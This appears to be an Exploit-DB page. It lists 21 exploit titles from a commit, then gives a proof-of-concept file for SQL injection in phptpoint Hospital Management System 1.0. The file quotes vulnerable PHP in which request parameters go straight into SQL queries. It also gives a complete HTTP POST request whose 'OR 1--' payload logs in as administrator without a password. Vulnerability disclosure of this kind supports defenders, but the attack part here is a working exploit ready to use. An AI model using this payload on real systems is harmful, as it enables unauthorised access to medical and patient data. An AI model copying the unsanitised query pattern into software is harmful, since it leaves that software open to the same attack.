832a222df4
21 changes to exploits/shellcodes ServersCheck Monitoring Software 14.3.3 - Denial of Service (PoC) BORGChat 1.0.0 build 438 - Denial of Service (PoC) libtiff 4.0.9 - Decodes Arbitrarily Sized JBIG into a Target Buffer Adult Filter 1.0 - Buffer Overflow (SEH) WebEx - Local Service Permissions Exploit (Metasploit) exim 4.90 - Remote Code Execution ServersCheck Monitoring Software 14.3.3 - Arbitrary File Write exim 4.90 - Remote Code Execution WebExec - Authenticated User Code Execution (Metasploit) ProjeQtOr Project Management Tool 7.2.5 - Remote Code Execution Ekushey Project Manager CRM 3.1 - Cross-Site Scripting phptpoint Pharmacy Management System 1.0 - 'username' SQL injection phptpoint Hospital Management System 1.0 - 'user' SQL injection Simple Chat System 1.0 - 'id' SQL Injection Delta Sql 1.8.2 - Arbitrary File Upload User Management 1.1 - Cross-Site Scripting ClipBucket 2.8 - 'id' SQL Injection Simple POS and Inventory 1.0 - 'cat' SQL Injection AiOPMSD Final 1.0.0 - 'q' SQL Injection AjentiCP 1.2.23.13 - Cross-Site Scripting MPS Box 0.1.8.0 - 'uuid' SQL Injection Open STA Manager 2.3 - Arbitrary File Download
75 lines
No EOL
2.5 KiB
Text
75 lines
No EOL
2.5 KiB
Text
# Exploit Title: phptpoint Hospital Management System 1.0 - 'user' SQL injection
|
|
# Date: 2018-10-24
|
|
# Exploit Author: Boumediene KADDOUR
|
|
# Unit: Algerie Telecom R&D Unit
|
|
# Vendor Homepage: https://www.phptpoint.com/
|
|
# Software Link:
|
|
# Version: 1
|
|
# Tested on: WAMP windows 10 x64
|
|
# CVE: unknown
|
|
|
|
# Description:
|
|
# Phptpoint hospital management system suffers from multiple SQL injection vulnerabilities that
|
|
# allow an attacker to bypass the login page and authenticate with admin, and then easily
|
|
# get database information or execute arbitrary commands.
|
|
|
|
# LOGIN.php SQL injection
|
|
|
|
13 extract($_POST);
|
|
14 if(isset($signIn))
|
|
15 {
|
|
16 //echo $user,$pass;
|
|
17 //for Admin
|
|
18 $que=mysql_query("select user,pass from admin where user='$user' and pass='$pass'");
|
|
19 $row= mysql_num_rows($que);
|
|
20 echo "raw ".$row;
|
|
21 if($row)
|
|
22 {
|
|
23 $_SESSION['admin'] =$user;
|
|
24 echo "<script>window.location='alist.php'</script>";
|
|
|
|
# Payload:
|
|
|
|
POST /hospital/index.php HTTP/1.1
|
|
Host: 172.16.122.4
|
|
Content-Length: 38
|
|
Cache-Control: max-age=0
|
|
Origin: http://172.16.122.4
|
|
Upgrade-Insecure-Requests: 1
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
|
Referer: http://172.16.122.4/hospital/index.php
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
|
|
Cookie: PHPSESSID=2kn5jlcarggk5u3bl1crarrj85
|
|
Connection: close
|
|
|
|
user=admin%40gmail.com'+OR+1--+&pass=anything&signIn=
|
|
|
|
# ALIST.php SQLi
|
|
|
|
33 $todel=$_GET['rno'];
|
|
34 mysql_query("update appt SET ashow='N' where ano='$todel' ;");
|
|
35 }
|
|
|
|
# DUNDEL.php SQLi
|
|
|
|
21 $rno=$_GET["rno"];
|
|
22 mysql_query("update doct set dshow='Y' where dno='$rno'");
|
|
23 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords Recovered</font></td></tr>";
|
|
24 echo "<tr><td align=center><a href=dlist.php>Continue...</a></td></tr>";
|
|
|
|
# PDEL.php SQLi
|
|
|
|
25 $todel=$_GET['rno'];
|
|
26 mysql_query("update Patient SET pshow='N' where pno='$todel' ;");
|
|
|
|
# PUNDEL.php SQLi
|
|
|
|
20 $rno=$_GET["rno"];
|
|
21
|
|
22
|
|
23 mysql_query("update Patient set pshow='Y' where pno='$rno'");
|
|
24 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords Recovered</font></td></tr>";
|
|
25 echo "<tr><td align=center><a href=plist.php>Continue...</a></td></tr>"; |